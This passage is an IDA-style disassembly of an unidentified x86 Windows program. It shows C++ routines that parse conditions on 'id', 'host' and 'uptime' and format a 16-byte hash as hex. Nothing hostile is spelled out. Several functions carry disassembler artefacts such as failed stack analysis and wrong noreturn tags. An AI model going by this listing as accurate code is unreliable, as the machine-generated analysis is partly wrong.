		call	sub_437B30
		mov	ecx, [esp+arg_2010]
		lea	eax, [esp+arg_2014]
		push	eax
		push	ecx
		lea	edx, [esp+8]
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	eax, [esp+10h+arg_200C]
		mov	edx, [esp+10h+arg_2008]
		add	esp, 10h
		lea	ecx, [esp+0]
		push	eax
		mov	eax, [esp+4+arg_2004]
		push	ecx
		mov	ecx, [esp+8+arg_2000]
		push	edx
		push	eax
		call	sub_401118
		add	esp, 2000h
		retn
sub_412B70	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412BF0	proc near		; CODE XREF: sub_401D20j
		push	esi
		mov	esi, ecx
		call	sub_401FD7
		mov	eax, [esi+1Ch]
		inc	eax
		mov	[esi+1Ch], eax
		pop	esi
		retn
sub_412BF0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412C20	proc near		; CODE XREF: sub_401FD7j
		push	esi
		mov	esi, ecx
		xor	al, al
		mov	[esi+16h], al
		mov	[esi+15h], al
		mov	eax, [esi+18h]
		push	eax
		nop
		call	near ptr 71AB9639h
		mov	ecx, offset word_44AC5E
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		call	sub_401541
		pop	esi
		retn
sub_412C20	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_412C60	proc near		; CODE XREF: sub_40172Bj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_412C60	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412C90	proc near		; CODE XREF: sub_401B68j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401717
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_401294
sub_412C90	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_412CE0	proc near		; CODE XREF: sub_401F1Ej

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_412CE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	6
		push	9
		push	4Fh
		push	3
		push	9
		push	7
		push	0Fh
		lea	eax, [esp+48h+var_24]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_412CE0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_412D80:				; CODE XREF: ___:loc_40100Aj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43AC4E
		push	eax
		mov	large fs:0, esp
		sub	esp, 90h
		add	ecx, 4
		push	ebp
		push	esi
		mov	esi, [esp+0A8h]
		lea	ebp, [esi+7Eh]
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4130A6
		push	ebx
		push	edi
		push	offset asc_444600 ; " "
		lea	eax, [esp+44h]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	ecx, [esp+2Ch]
		push	2
		push	ecx
		mov	ecx, esi
		mov	dword ptr [esp+0B4h], 0
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	edx, [esp+14h]
		push	3
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 1
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	eax, [esp+74h]
		push	0
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 2
		call	sub_4016B8
		mov	edi, eax
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 3
		call	sub_4013E3
		lea	ecx, [esp+28h]
		mov	ebx, eax
		call	sub_4013E3
		lea	ecx, [esp+40h]
		add	ebx, eax
		call	sub_4013E3
		mov	ecx, edi
		add	ebx, eax
		call	sub_4013E3
		lea	ecx, [esp+70h]
		lea	edi, [ebx+eax+4]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+58h]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_401E47
		push	offset asc_444600 ; " "
		lea	edx, [esp+8Ch]
		push	4
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+0B4h], 4
		call	sub_4016B8
		lea	ecx, [esp+70h]
		push	1
		mov	bl, 5
		push	ecx
		mov	ecx, eax
		mov	[esp+0B0h], bl
		call	sub_401E47
		push	eax
		mov	ecx, ebp
		mov	byte ptr [esp+0ACh], 6
		call	sub_40202C
		lea	ecx, [esp+70h]
		mov	[esp+0A8h], bl
		call	sub_401226
		mov	byte ptr [esp+0A8h], 4
		lea	ecx, [esp+88h]
		call	sub_401226
		lea	edx, [esp+58h]
		mov	ecx, esi
		push	edx
		call	sub_40202C
		push	offset asc_444D1C ; "!="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F05
		xor	edi, edi


loc_412F05:				; CODE XREF: ___:00412F01j
		push	offset asc_444D18 ; "=="
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F1C
		mov	edi, 1


loc_412F1C:				; CODE XREF: ___:00412F15j
		push	offset asc_444D14 ; ">"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F33
		mov	edi, 2


loc_412F33:				; CODE XREF: ___:00412F2Cj
		push	offset asc_444D10 ; "<"
		lea	ecx, [esp+2Ch]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412F4A
		mov	edi, 3


loc_412F4A:				; CODE XREF: ___:00412F43j
		push	offset aId	; "id"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412FA4
		test	edi, edi
		jnz	short loc_412F7A
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset word_44955A
		call	sub_4012EE
		test	eax, eax
		jz	short loc_412FA4
		jmp	short loc_412F97
; ---------------------------------------------------------------------------


loc_412F7A:				; CODE XREF: ___:00412F5Ej
		cmp	edi, 1
		jnz	short loc_412FA4
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset word_44955A
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412FA4


loc_412F97:				; CODE XREF: ___:00412F78j
		push	0
		push	esi
		mov	ecx, offset byte_449277
		call	sub_401A41


loc_412FA4:				; CODE XREF: ___:00412F5Aj
					; ___:00412F76j ...
		push	offset aHost	; "host"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_412FF7
		test	edi, edi
		jnz	short loc_412FD8
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_4D809D
		call	sub_4013ED
		test	eax, eax
		jnz	loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_412FD8:				; CODE XREF: ___:00412FB8j
		cmp	edi, 1
		jnz	short loc_413059
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		mov	ecx, offset byte_4D809D
		call	sub_4013ED
		test	eax, eax
		jz	short loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_412FF7:				; CODE XREF: ___:00412FB4j
		push	offset aUptime	; "uptime"
		lea	ecx, [esp+44h]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_413059
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		mov	ebx, eax
		call	sub_40165E
		test	edi, edi
		jnz	short loc_41302D
		cmp	eax, ebx
		jz	short loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_41302D:				; CODE XREF: ___:00413025j
		cmp	edi, 1
		jnz	short loc_413038
		cmp	eax, ebx
		jnz	short loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_413038:				; CODE XREF: ___:00413030j
		cmp	edi, 2
		jnz	short loc_413043
		cmp	eax, ebx
		jle	short loc_413059
		jmp	short loc_41304C
; ---------------------------------------------------------------------------


loc_413043:				; CODE XREF: ___:0041303Bj
		cmp	edi, 3
		jnz	short loc_413059
		cmp	eax, ebx
		jge	short loc_413059


loc_41304C:				; CODE XREF: ___:00412FD6j
					; ___:00412FF5j ...
		push	0
		push	esi
		mov	ecx, offset byte_449277
		call	sub_401A41


loc_413059:				; CODE XREF: ___:00412FD0j
					; ___:00412FDBj ...
		lea	ecx, [esp+58h]
		mov	byte ptr [esp+0A8h], 2
		call	sub_401226
		lea	ecx, [esp+10h]
		mov	byte ptr [esp+0A8h], 1
		call	sub_401226
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+0A8h], 0
		call	sub_401226
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+0A8h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		mov	al, 1
		pop	ebx
		jmp	short loc_4130A8
; ---------------------------------------------------------------------------


loc_4130A6:				; CODE XREF: ___:00412DB9j
		mov	al, 1


loc_4130A8:				; CODE XREF: ___:004130A4j
		mov	ecx, [esp+98h]
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 9Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4131B0	proc near		; CODE XREF: sub_40165Ej
		call	near ptr 27E0CD4h
		nop
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		mov	eax, edx
		add	eax, ecx
		sar	eax, 10h
		mov	edx, eax
		shr	edx, 1Fh
		add	eax, edx
		retn
sub_4131B0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4131F0	proc near		; CODE XREF: sub_402018j

var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4131F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+20h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401753
		lea	ecx, [esi+32h]
		mov	[esp+20h+var_4], 0
		call	sub_401753
		lea	edi, [esi+60h]
		lea	eax, [esp+20h+var_12]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401F23
sub_4131F0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Fh]
		lea	ebx, [esi+6Ch]
		push	ecx
		mov	ecx, ebx
		mov	byte ptr [esp+20h], 2
		call	sub_401852
; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+1Ch], 3
		mov	dword ptr [esi], offset	off_43F044
		call	sub_401933
		mov	ecx, ebx
		call	sub_401C76
		mov	ecx, [esp+14h]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4132C0	proc near		; CODE XREF: sub_401D0Cj ___:00401E29j
		push	esi
		mov	esi, ecx
		call	sub_401CA3
sub_4132C0	endp

; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_4132D8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4132D8:				; CODE XREF: ___:004132CDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4132F0	proc near		; CODE XREF: sub_401CA3j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4132F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		mov	dword ptr [esi], offset	off_43F044
		lea	edi, [esi+60h]
		mov	[esp+1Ch+var_4], 3
		mov	ecx, edi
		call	sub_401933
		lea	ebx, [esi+6Ch]
		mov	ecx, ebx
		call	sub_401C76
		mov	ecx, ebx
		mov	byte ptr [esp+1Ch+var_4], 2
		call	sub_4014BF
sub_4132F0	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 1
		call	sub_4011B8
; ---------------------------------------------------------------------------
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+18h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+10h]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4133B0	proc near		; CODE XREF: sub_401A05j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4133B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	0
		push	14h
		push	15h
		push	0Fh
		push	7
		push	0Fh
		lea	eax, [esp+58h+var_3C]
		push	0Ch
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+32h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_4133B0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		lea	edx, [esp+28h]
		push	13h
		push	edx
		call	sub_4019C4
		add	esp, 14h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4134A0	proc near		; CODE XREF: sub_401CE4j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4134A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0
		call	sub_4017EE
		test	eax, eax
		jz	short loc_413547
		lea	ecx, [esp+18h+var_14]
		call	sub_402275
		add	esi, 6Ch
		lea	eax, [esp+18h+var_10]
		push	eax
		mov	ecx, esi
		call	sub_401901
		mov	ecx, [eax]
		lea	edx, [esp+18h+var_10]
		mov	[esp+18h+var_14], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jz	short loc_413547


loc_413508:				; CODE XREF: sub_4134A0+A5j
		lea	eax, [esp+18h+arg_0]
		lea	ecx, [esp+18h+var_14]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+18h+var_14]
		jz	short loc_41356C
		call	sub_40118B
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401339
		test	al, al
		jnz	short loc_413508


loc_413547:				; CODE XREF: sub_4134A0+2Ej
					; sub_4134A0+66j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
; ---------------------------------------------------------------------------


loc_41356C:				; CODE XREF: sub_4134A0+86j
		call	sub_40135C
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	18h
sub_4134A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4135E0	proc near		; CODE XREF: sub_402130j

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4

		push	0FFFFFFFFh
		push	offset SEH_4135E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebx, ecx
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0
		call	sub_4017EE
		test	eax, eax
		jz	loc_4136B3
		lea	ecx, [esp+28h+var_18]
		call	sub_401037
		lea	ebp, [ebx+60h]
		lea	eax, [esp+28h+var_14]
		push	eax
		mov	ecx, ebp
		call	sub_401992
		mov	ecx, [eax]
		lea	edx, [esp+28h+var_14]
		mov	[esp+28h+var_18], ecx
		push	edx
		mov	ecx, ebp
		call	sub_402257
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AEB
		test	al, al
		jz	short loc_4136B3


loc_41364F:				; CODE XREF: sub_4135E0+D1j
		lea	ecx, [esp+28h+var_18]
		call	sub_4011D1
		mov	edi, [eax]
		sub	esp, 18h
		lea	eax, [esp+40h+arg_0]
		mov	ecx, esp
		mov	[esp+40h+var_10], esp
		push	eax
		call	sub_4014D3
		mov	ecx, ebx
		call	sub_401CE4
		mov	esi, eax
		test	esi, esi
		jz	short loc_41367C
		mov	edi, [esi]


loc_41367C:				; CODE XREF: sub_4135E0+98j
		lea	ecx, [esp+28h+arg_0]
		push	ecx
		mov	ecx, edi
		call	sub_401B86
		test	eax, eax
		jz	short loc_4136DB
		test	esi, esi
		jnz	short loc_4136DB
		lea	ecx, [esp+28h+var_18]
		call	sub_4018C5
		lea	edx, [esp+28h+var_14]
		mov	ecx, ebp
		push	edx
		call	sub_402257
		push	eax
		lea	ecx, [esp+2Ch+var_18]
		call	sub_401AEB
		test	al, al
		jnz	short loc_41364F


loc_4136B3:				; CODE XREF: sub_4135E0+31j
					; sub_4135E0+6Dj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	eax, eax


loc_4136C6:				; CODE XREF: sub_4135E0+10Ej
		mov	ecx, [esp+28h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_4136DB:				; CODE XREF: sub_4135E0+AAj
					; sub_4135E0+AEj
		lea	ecx, [esp+28h+arg_0]
		mov	[esp+28h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	eax, edi
		jmp	short loc_4136C6
sub_4135E0	endp

; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_413740	proc near		; CODE XREF: sub_401F64j

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_413740
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		lea	ecx, [esp+14h+arg_0]
		mov	[esp+14h+var_4], 1
		call	sub_4017EE
		test	eax, eax
		jz	short loc_4137E4
		lea	ecx, [esp+14h+var_14]
		call	sub_401E38
		lea	eax, [esp+14h+var_10]
		lea	ecx, [esp+14h+arg_18]
		push	eax
		call	sub_4012E9
		mov	ecx, [eax]
		lea	edx, [esp+14h+var_10]
		mov	[esp+14h+var_14], ecx
		push	edx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D70
		test	al, al
		jz	short loc_4137E4


loc_4137A6:				; CODE XREF: sub_413740+A2j
		lea	eax, [esp+14h+arg_0]
		lea	ecx, [esp+14h+var_14]
		push	eax
		call	sub_401FC3
		mov	ecx, [eax]
		call	sub_401B86
		test	eax, eax
		jz	short loc_413816
		lea	ecx, [esp+14h+var_14]
		call	sub_4020C2
		lea	ecx, [esp+14h+var_10]
		push	ecx
		lea	ecx, [esp+18h+arg_18]
		call	sub_401D9D
		push	eax
		lea	ecx, [esp+18h+var_14]
		call	sub_401D70
		test	al, al
		jnz	short loc_4137A6


loc_4137E4:				; CODE XREF: sub_413740+2Bj
					; sub_413740+64j
		lea	ecx, [esp+14h+arg_0]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+14h+arg_18]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401582
; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------


loc_413816:				; CODE XREF: sub_413740+7Dj
		push	esi
		lea	ecx, [esp+18h+var_14]
		call	sub_401FC3
		mov	esi, [eax]
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401582
sub_413740	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	24h
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4138B0	proc near		; CODE XREF: sub_4011DBj

var_A4		= byte ptr -0A4h
var_8C		= byte ptr -8Ch
var_74		= byte ptr -74h
var_64		= byte ptr -64h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4138B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 98h
		push	esi
		xor	esi, esi
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], esi
		call	sub_4017EE
		test	eax, eax
		jz	loc_4139E3
		lea	eax, [esp+0A8h+var_64]
		push	eax
		call	sub_401A69
		add	esp, 4
		lea	ecx, [esp+0A8h+var_A4]
		call	sub_40142E
		push	offset byte_448F30
		lea	ecx, [esp+0ACh+var_A4]
		mov	byte ptr [esp+0ACh+var_4], 1
		call	sub_4015E1
		lea	ecx, [esp+0A8h+arg_0]
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+0ACh+arg_0]
		call	sub_4014DD
		lea	ecx, [esp+0ACh+var_64]
		push	eax
		push	ecx
		call	sub_401C26
		lea	edx, [esp+0B4h+var_64]
		lea	eax, [esp+0B4h+var_74]
		push	edx
		push	eax
		call	sub_402176
		add	esp, 14h


loc_41394B:				; CODE XREF: sub_4138B0+E8j
		lea	ecx, [esp+0A8h+var_8C]
		call	sub_40142E
		xor	ecx, ecx
		lea	edx, [esp+0A8h+var_8C]
		mov	cl, [esp+esi+0A8h+var_74]
		mov	byte ptr [esp+0A8h+var_4], 2
		push	ecx
		push	offset a2_2x	; "%2.2X"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	eax, [esp+0A8h+var_8C]
		lea	ecx, [esp+0A8h+var_A4]
		push	eax
		call	sub_4016C7
		lea	ecx, [esp+0A8h+var_8C]
		mov	byte ptr [esp+0A8h+var_4], 1
		call	sub_401226
		inc	esi
		cmp	esi, 10h
		jl	short loc_41394B
		mov	edx, [esp+0A8h+arg_18]
		lea	ecx, [esp+0A8h+var_A4]
		push	ecx
		lea	ecx, [edx+15h]
		call	sub_401B86
		test	eax, eax
		mov	byte ptr [esp+0A8h+var_4], 0
		lea	ecx, [esp+0A8h+var_A4]
		jnz	short loc_4139DE
		call	sub_401226
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_4139FC
; ---------------------------------------------------------------------------


loc_4139DE:				; CODE XREF: sub_4138B0+10Cj
		call	sub_401226


loc_4139E3:				; CODE XREF: sub_4138B0+33j
		lea	ecx, [esp+0A8h+arg_0]
		mov	[esp+0A8h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_4139FC:				; CODE XREF: sub_4138B0+12Cj
		mov	ecx, [esp+0A8h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 0A4h
		retn	1Ch
sub_4138B0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413A80	proc near		; CODE XREF: sub_40192Ej

var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_413A80
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		lea	eax, [esp+30h+arg_18]
		mov	ecx, esp
		mov	[esp+30h+var_14], esp
		push	eax
		mov	[esp+34h+var_4], 1
		call	sub_4014D3
		mov	ecx, esi
		call	sub_402130
		test	eax, eax
		jz	short loc_413B2E
		sub	esp, 0Ch
		add	eax, 54h
		mov	ecx, esp
		mov	[esp+24h+var_14], esp
		push	eax
		call	sub_401726
; ---------------------------------------------------------------------------
		sub	esp, 18h
		lea	edx, [esp+40h]
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	edx
		mov	[esp+44h+var_8], 2
		call	sub_4014D3
		mov	ecx, esi
		mov	[esp+40h+var_8], 1
		call	sub_401F64
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_413B2E
		lea	ecx, [esp+40h+var_24]
		mov	byte ptr [esp+40h+var_2C], 0
		call	sub_401226
		lea	ecx, [esp+40h+var_C]
		mov	[esp+40h+var_2C], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		mov	ecx, [esp+40h+var_34]
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
; ---------------------------------------------------------------------------


loc_413B2E:				; CODE XREF: sub_413A80+3Fj
					; sub_413A80+79j
		lea	ecx, [esp+18h+arg_0]
		mov	byte ptr [esp+18h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+18h+arg_18]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		mov	large fs:0, ecx
		pop	esi
		add	esp, 14h
		retn	30h
sub_413A80	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413BB0:				; CODE XREF: ___:00401393j
		push	0FFFFFFFFh
		push	offset loc_43AE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401870
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
